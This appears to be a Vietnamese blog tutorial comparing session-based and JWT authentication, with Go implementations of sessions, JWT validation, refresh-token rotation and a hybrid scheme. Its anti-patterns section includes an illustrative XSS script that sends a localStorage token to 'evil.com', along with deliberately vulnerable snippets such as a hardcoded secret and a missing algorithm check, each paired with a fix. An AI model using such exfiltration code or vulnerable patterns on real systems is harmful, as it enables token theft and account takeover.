🔐 Security✍️ Khoa📅 20/04/2026☕ 12 phút đọc

Session-based vs JWT: So sánh chi tiết

Đây là câu hỏi quen thuộc trong system design interview và real-world projects: Nên dùng session-based hay JWT? Câu trả lời không phải "cái nào tốt hơn" mà là "cái nào phù hợp hơn với context của bạn".

🎯 TL;DR: Session-based = stateful, full control. JWT = stateless, scalable. Chọn based on trade-offs.


Bảng so sánh nhanh

Tiêu chí Session-based JWT
State Stateful (server lưu session) Stateless (info trong token)
Storage Redis, DB, in-memory Client cookie/localStorage
Revocation ✅ Dễ (xóa session) ❌ Khó (phải blacklist hoặc chờ expire)
Scalability ❌ Cần shared store ✅ Scale horizontal dễ
Size Nhỏ (chỉ session ID) Lớn hơn (payload data)
Cross-domain ❌ Khó (cookie limitations) ✅ Dễ (header-based)
Security ✅ Controlled by server ⚠️ Client có thể decode (không mã hóa)
Token rotation Không cần Phức tạp (refresh token)

Khi nào dùng Session?
Monolithic apps, cần revoke ngay lập tức, ít servers.

Khi nào dùng JWT?
Microservices, mobile apps, third-party APIs, high traffic.


Deep Dive: Session-based Authentication

Architecture

┌──────────┐         ┌──────────┐         ┌──────────┐
│  Client  │         │  Server  │         │  Redis   │
└────┬─────┘         └────┬─────┘         └────┬─────┘
     │                    │                     │
     │ 1. POST /login     │                     │
     │   (user, pass)     │                     │
     ├───────────────────►│                     │
     │                    │ 2. Verify password  │
     │                    │                     │
     │                    │ 3. sessionID=uuid() │
     │                    │                     │
     │                    │ 4. SET session:abc  │
     │                    │    → {"userID":123} │
     │                    ├────────────────────►│
     │                    │                     │
     │ 5. Set-Cookie:     │                     │
     │    sessionID=abc   │                     │
     │◄───────────────────┤                     │
     │                    │                     │
     │ 6. GET /api/data   │                     │
     │    Cookie: abc     │                     │
     ├───────────────────►│ 7. GET session:abc │
     │                    ├────────────────────►│
     │                    │ 8. {"userID":123}   │
     │                    │◄────────────────────┤
     │                    │ 9. Fetch user data  │
     │                    │    & authorize      │
     │ 10. Response       │                     │
     │◄───────────────────┤                     │
     │                    │                     │

Implementation

package main

import (
    "context"
    "crypto/rand"
    "encoding/hex"
    "net/http"
    "time"

    "github.com/redis/go-redis/v9"
)

type SessionStore struct {
    redis *redis.Client
}

func NewSessionStore(addr string) *SessionStore {
    return &SessionStore{
        redis: redis.NewClient(&redis.Options{
            Addr: addr,
        }),
    }
}

// Generate random session ID
func generateSessionID() string {
    b := make([]byte, 32)
    rand.Read(b)
    return hex.EncodeToString(b)
}

// Create session
func (s *SessionStore) Create(userID int64, ttl time.Duration) (string, error) {
    sessionID := generateSessionID()
    ctx := context.Background()

    err := s.redis.Set(ctx, "session:"+sessionID, userID, ttl).Err()
    if err != nil {
        return "", err
    }

    return sessionID, nil
}

// Get user ID from session
func (s *SessionStore) Get(sessionID string) (int64, error) {
    ctx := context.Background()
    userID, err := s.redis.Get(ctx, "session:"+sessionID).Int64()
    if err == redis.Nil {
        return 0, ErrSessionNotFound
    }
    return userID, err
}

// Delete session (logout)
func (s *SessionStore) Delete(sessionID string) error {
    ctx := context.Background()
    return s.redis.Del(ctx, "session:"+sessionID).Err()
}

// Refresh session TTL
func (s *SessionStore) Refresh(sessionID string, ttl time.Duration) error {
    ctx := context.Background()
    return s.redis.Expire(ctx, "session:"+sessionID, ttl).Err()
}

// Login handler
func loginHandler(w http.ResponseWriter, r *http.Request, store *SessionStore) {
    // 1. Verify credentials (omitted for brevity)
    userID := int64(123)

    // 2. Create session
    sessionID, err := store.Create(userID, 24*time.Hour)
    if err != nil {
        http.Error(w, "Internal error", 500)
        return
    }

    // 3. Set cookie
    http.SetCookie(w, &http.Cookie{
        Name:     "sessionID",
        Value:    sessionID,
        HttpOnly: true,          // Prevent XSS
        Secure:   true,          // HTTPS only
        SameSite: http.SameSiteStrictMode,
        MaxAge:   86400,         // 24 hours
        Path:     "/",
    })

    w.WriteHeader(200)
}

// Auth middleware
func sessionAuthMiddleware(store *SessionStore) func(http.Handler) http.Handler {
    return func(next http.Handler) http.Handler {
        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
            cookie, err := r.Cookie("sessionID")
            if err != nil {
                http.Error(w, "Unauthorized", 401)
                return
            }

            userID, err := store.Get(cookie.Value)
            if err != nil {
                http.Error(w, "Unauthorized", 401)
                return
            }

            // Refresh session on each request (sliding expiration)
            store.Refresh(cookie.Value, 24*time.Hour)

            // Attach user to context
            ctx := context.WithValue(r.Context(), "userID", userID)
            next.ServeHTTP(w, r.WithContext(ctx))
        })
    }
}

// Logout handler
func logoutHandler(w http.ResponseWriter, r *http.Request, store *SessionStore) {
    cookie, err := r.Cookie("sessionID")
    if err != nil {
        http.Error(w, "Bad request", 400)
        return
    }

    store.Delete(cookie.Value)

    // Clear cookie
    http.SetCookie(w, &http.Cookie{
        Name:     "sessionID",
        Value:    "",
        MaxAge:   -1,
        Path:     "/",
    })

    w.WriteHeader(200)
}

Pros của Session-based

Server-side control: Có thể revoke session bất cứ lúc nào
Security: Session ID không chứa data, không thể decode
Small cookie size: Chỉ gửi session ID
Easy logout: Xóa session = logout ngay lập tức
Sliding expiration: Dễ dàng renew session khi user active

Cons của Session-based

Stateful: Phải maintain session store
Scalability: Horizontal scaling cần shared Redis/DB
Cross-domain khó: Cookie không work tốt cross-domain
Single point of failure: Nếu Redis chết → tất cả users bị logout


Deep Dive: JWT Authentication

Architecture

┌──────────┐                          ┌──────────┐
│  Client  │                          │  Server  │
└────┬─────┘                          └────┬─────┘
     │                                     │
     │ 1. POST /login (user, pass)         │
     ├────────────────────────────────────►│
     │                                     │
     │                      2. Verify password
     │                      3. Generate JWT:
     │                         Header + Payload + Signature
     │                         sign với secret key
     │                                     │
     │ 4. Return JWT token                 │
     │◄────────────────────────────────────┤
     │                                     │
     │ (Client lưu JWT trong               │
     │  localStorage hoặc cookie)          │
     │                                     │
     │ 5. GET /api/data                    │
     │    Authorization: Bearer <JWT>      │
     ├────────────────────────────────────►│
     │                      6. Verify JWT signature
     │                      7. Extract userID từ payload
     │                      8. Check expiry
     │                      9. Authorize request
     │                                     │
     │ 10. Response                        │
     │◄────────────────────────────────────┤
     │                                     │

Implementation

package main

import (
    "errors"
    "net/http"
    "strings"
    "time"

    "github.com/golang-jwt/jwt/v5"
)

var (
    jwtSecret = []byte("your-secret-key-change-in-production")
    ErrInvalidToken = errors.New("invalid token")
)

type Claims struct {
    UserID int64  `json:"user_id"`
    Email  string `json:"email"`
    Role   string `json:"role"`
    jwt.RegisteredClaims
}

// Generate JWT
func generateJWT(userID int64, email, role string) (string, error) {
    claims := Claims{
        UserID: userID,
        Email:  email,
        Role:   role,
        RegisteredClaims: jwt.RegisteredClaims{
            ExpiresAt: jwt.NewNumericDate(time.Now().Add(24 * time.Hour)),
            IssuedAt:  jwt.NewNumericDate(time.Now()),
            NotBefore: jwt.NewNumericDate(time.Now()),
            Issuer:    "myapp",
            Subject:   email,
        },
    }

    token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
    return token.SignedString(jwtSecret)
}

// Validate JWT
func validateJWT(tokenString string) (*Claims, error) {
    token, err := jwt.ParseWithClaims(tokenString, &Claims{}, func(token *jwt.Token) (interface{}, error) {
        // Verify signing method
        if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
            return nil, errors.New("unexpected signing method")
        }
        return jwtSecret, nil
    })

    if err != nil {
        return nil, err
    }

    if claims, ok := token.Claims.(*Claims); ok && token.Valid {
        return claims, nil
    }

    return nil, ErrInvalidToken
}

// Login handler
func jwtLoginHandler(w http.ResponseWriter, r *http.Request) {
    // 1. Verify credentials (omitted)
    userID := int64(123)
    email := "alice@example.com"
    role := "user"

    // 2. Generate JWT
    token, err := generateJWT(userID, email, role)
    if err != nil {
        http.Error(w, "Internal error", 500)
        return
    }

    // 3. Return token
    w.Header().Set("Content-Type", "application/json")
    w.Write([]byte(`{"token": "` + token + `"}`))
}

// Auth middleware
func jwtAuthMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // 1. Extract token from header
        authHeader := r.Header.Get("Authorization")
        if authHeader == "" {
            http.Error(w, "Missing authorization header", 401)
            return
        }

        parts := strings.Split(authHeader, " ")
        if len(parts) != 2 || parts[0] != "Bearer" {
            http.Error(w, "Invalid authorization header", 401)
            return
        }

        tokenString := parts[1]

        // 2. Validate token
        claims, err := validateJWT(tokenString)
        if err != nil {
            http.Error(w, "Invalid token", 401)
            return
        }

        // 3. Attach claims to context
        ctx := r.Context()
        ctx = context.WithValue(ctx, "userID", claims.UserID)
        ctx = context.WithValue(ctx, "email", claims.Email)
        ctx = context.WithValue(ctx, "role", claims.Role)

        next.ServeHTTP(w, r.WithContext(ctx))
    })
}

Pros của JWT

Stateless: Không cần session store, scale dễ dàng
Self-contained: Tất cả info trong token
Cross-domain: Work tốt với CORS, mobile apps
Microservices-friendly: Mỗi service tự verify token
Standard: RFC 7519, nhiều libraries

Cons của JWT

Hard to revoke: Không thể "force logout" user (phải chờ token expire)
Token size: Lớn hơn session ID, gửi với mỗi request
Security risk: Nếu leak secret key → tất cả tokens bị compromise
Client-side storage: Local storage dễ bị XSS attack


Giải quyết vấn đề Revocation của JWT

Vì JWT stateless nên không thể revoke trực tiếp. Có một số cách workaround:

1. Blacklist Tokens

Lưu revoked tokens vào Redis/DB cho đến khi chúng expire.

type TokenBlacklist struct {
    redis *redis.Client
}

func (b *TokenBlacklist) Revoke(tokenString string, expiresAt time.Time) error {
    ctx := context.Background()
    ttl := time.Until(expiresAt)
    return b.redis.Set(ctx, "blacklist:"+tokenString, true, ttl).Err()
}

func (b *TokenBlacklist) IsRevoked(tokenString string) bool {
    ctx := context.Background()
    exists, _ := b.redis.Exists(ctx, "blacklist:"+tokenString).Result()
    return exists > 0
}

// Updated middleware
func jwtAuthWithBlacklist(blacklist *TokenBlacklist) func(http.Handler) http.Handler {
    return func(next http.Handler) http.Handler {
        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
            // ... extract token ...

            if blacklist.IsRevoked(tokenString) {
                http.Error(w, "Token revoked", 401)
                return
            }

            // ... validate token ...
        })
    }
}

Trade-off: Bây giờ lại cần state (blacklist) → mất lợi ích stateless của JWT.

2. Short-lived Access Token + Refresh Token

Access token expire nhanh (5-15 phút), refresh token sống lâu (7-30 ngày).

┌─────────┐                ┌─────────┐
│ Client  │                │ Server  │
└────┬────┘                └────┬────┘
     │                          │
     │ 1. Login                 │
     ├─────────────────────────►│
     │                          │
     │ 2. access_token (15min)  │
     │    refresh_token (7days) │
     │◄─────────────────────────┤
     │                          │
     │ ... 15 minutes pass ...  │
     │                          │
     │ 3. Request with expired  │
     │    access_token          │
     ├─────────────────────────►│
     │ 4. 401 Unauthorized      │
     │◄─────────────────────────┤
     │                          │
     │ 5. POST /refresh         │
     │    refresh_token         │
     ├─────────────────────────►│
     │                          │
     │                   6. Verify refresh_token
     │                      Check if revoked (in DB)
     │                      Generate new access_token
     │                          │
     │ 7. new access_token      │
     │◄─────────────────────────┤
     │                          │

Implementation:

type RefreshToken struct {
    Token     string
    UserID    int64
    ExpiresAt time.Time
    Revoked   bool
}

// Store refresh tokens in DB
func (db *DB) CreateRefreshToken(userID int64, ttl time.Duration) (string, error) {
    token := generateRandomToken()
    refreshToken := RefreshToken{
        Token:     token,
        UserID:    userID,
        ExpiresAt: time.Now().Add(ttl),
        Revoked:   false,
    }
    return token, db.Insert(&refreshToken)
}

func (db *DB) ValidateRefreshToken(token string) (int64, error) {
    var rt RefreshToken
    err := db.QueryOne(&rt, "SELECT * FROM refresh_tokens WHERE token = ?", token)
    if err != nil {
        return 0, ErrInvalidToken
    }

    if rt.Revoked || time.Now().After(rt.ExpiresAt) {
        return 0, ErrInvalidToken
    }

    return rt.UserID, nil
}

func (db *DB) RevokeRefreshToken(token string) error {
    return db.Exec("UPDATE refresh_tokens SET revoked = true WHERE token = ?", token)
}

// Refresh endpoint
func refreshHandler(w http.ResponseWriter, r *http.Request, db *DB) {
    refreshToken := r.FormValue("refresh_token")

    userID, err := db.ValidateRefreshToken(refreshToken)
    if err != nil {
        http.Error(w, "Invalid refresh token", 401)
        return
    }

    // Generate new access token
    accessToken, _ := generateJWT(userID, "", "", 15*time.Minute)

    w.Header().Set("Content-Type", "application/json")
    w.Write([]byte(`{"access_token": "` + accessToken + `"}`))
}

Ưu điểm:

  • Access token stateless, expire nhanh → giảm risk
  • Refresh token có thể revoke (stored in DB)
  • Logout = revoke refresh token

3. Short Expiry + Token Rotation

Mỗi lần refresh, generate cả access token MỚI và refresh token MỚI, revoke refresh token cũ.

func refreshWithRotation(w http.ResponseWriter, r *http.Request, db *DB) {
    oldRefreshToken := r.FormValue("refresh_token")

    userID, err := db.ValidateRefreshToken(oldRefreshToken)
    if err != nil {
        http.Error(w, "Invalid refresh token", 401)
        return
    }

    // Revoke old refresh token
    db.RevokeRefreshToken(oldRefreshToken)

    // Generate new tokens
    accessToken, _ := generateJWT(userID, "", "", 15*time.Minute)
    newRefreshToken, _ := db.CreateRefreshToken(userID, 7*24*time.Hour)

    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(map[string]string{
        "access_token":  accessToken,
        "refresh_token": newRefreshToken,
    })
}

Ưu điểm:

  • Refresh token chỉ dùng 1 lần → nếu bị leak và reused, detect được
  • Attack window nhỏ hơn

Hybrid Approach: Best of Both Worlds

Trong thực tế, nhiều hệ thống dùng hybrid:

  1. JWT cho API/microservices (stateless, scalable)
  2. Session cho admin panel (revokable, critical operations)

Hoặc:

  1. JWT access token (short-lived, 15 min)
  2. Session-based refresh token (stored in Redis, revokable)
type HybridAuth struct {
    sessionStore *SessionStore
    jwtSecret    []byte
}

// Login: tạo cả JWT và session
func (h *HybridAuth) Login(userID int64, email string) (accessToken, sessionID string, err error) {
    // JWT access token (15 min)
    accessToken, err = generateJWT(userID, email, "", 15*time.Minute)
    if err != nil {
        return
    }

    // Session for refresh (7 days)
    sessionID, err = h.sessionStore.Create(userID, 7*24*time.Hour)
    return
}

// Refresh: dùng session để generate JWT mới
func (h *HybridAuth) Refresh(sessionID string) (string, error) {
    userID, err := h.sessionStore.Get(sessionID)
    if err != nil {
        return "", err
    }

    // Generate new JWT
    return generateJWT(userID, "", "", 15*time.Minute)
}

// Logout: xóa session
func (h *HybridAuth) Logout(sessionID string) error {
    return h.sessionStore.Delete(sessionID)
}

Ưu điểm:

  • Access token stateless → scale tốt
  • Refresh được control bởi session → revoke được
  • Best of both worlds

Decision Framework

Chọn Session-based nếu:

  • ✅ Monolithic application
  • ✅ Ít servers (1-3 instances)
  • ✅ Cần revoke ngay lập tức (e.g., admin panel)
  • ✅ Ưu tiên security hơn scalability
  • ✅ Chỉ web browser, không có mobile app

Ví dụ: Internal admin dashboard, banking apps, healthcare systems

Chọn JWT nếu:

  • ✅ Microservices architecture
  • ✅ Mobile apps / third-party APIs
  • ✅ High traffic cần scale horizontal
  • ✅ Cross-domain authentication
  • ✅ Serverless/stateless architecture

Ví dụ: Public APIs, SaaS platforms, mobile backends

Chọn Hybrid nếu:

  • ✅ Cần cả scalability và revocation
  • ✅ Có cả web và mobile
  • ✅ Phân biệt access token (short) và refresh token (long)

Ví dụ: Hầu hết production apps lớn (Facebook, Google, etc.)


Anti-patterns & Common Mistakes

❌ Lưu JWT trong localStorage mà không cẩn thận XSS

// 🔥 BAD: Dễ bị XSS
localStorage.setItem('token', jwtToken);

// Attacker inject:
<script>
    fetch('http://evil.com', {
        method: 'POST',
        body: localStorage.getItem('token')
    });
</script>

Fix: Dùng httpOnly cookie hoặc in-memory storage.

❌ JWT không có expiry hoặc expiry quá dài

// 🔥 BAD: Token never expires
claims := Claims{
    UserID: 123,
    // No ExpiresAt!
}

Fix: Luôn set expiry, và dùng refresh token pattern.

❌ Hardcode secret key

// 🔥 BAD
var jwtSecret = []byte("mysecret123")

Fix: Dùng environment variable hoặc secret manager.

var jwtSecret = []byte(os.Getenv("JWT_SECRET"))

❌ Không verify signing algorithm

// 🔥 VULNERABLE to algorithm confusion attack
token, _ := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
    return jwtSecret, nil  // Missing algorithm check!
})

Fix: Verify algorithm.

token, _ := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
    if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
        return nil, errors.New("unexpected signing method")
    }
    return jwtSecret, nil
})

Tóm tắt

Scenario Recommendation
Small monolith, <5 servers Session-based
Microservices, mobile apps JWT
Need instant revocation Session or Hybrid
Public API JWT with short expiry
Admin panel Session-based
High security requirement Hybrid (JWT + session refresh)

Golden rule: Không có one-size-fits-all solution. Hiểu trade-offs và choose based on requirements.


Bước tiếp theo

  • oauth2-and-oidc.md — Third-party authentication
  • advanced-auth.md — MFA, SSO, Zero Trust
  • ../secure-coding.md — Secure coding practices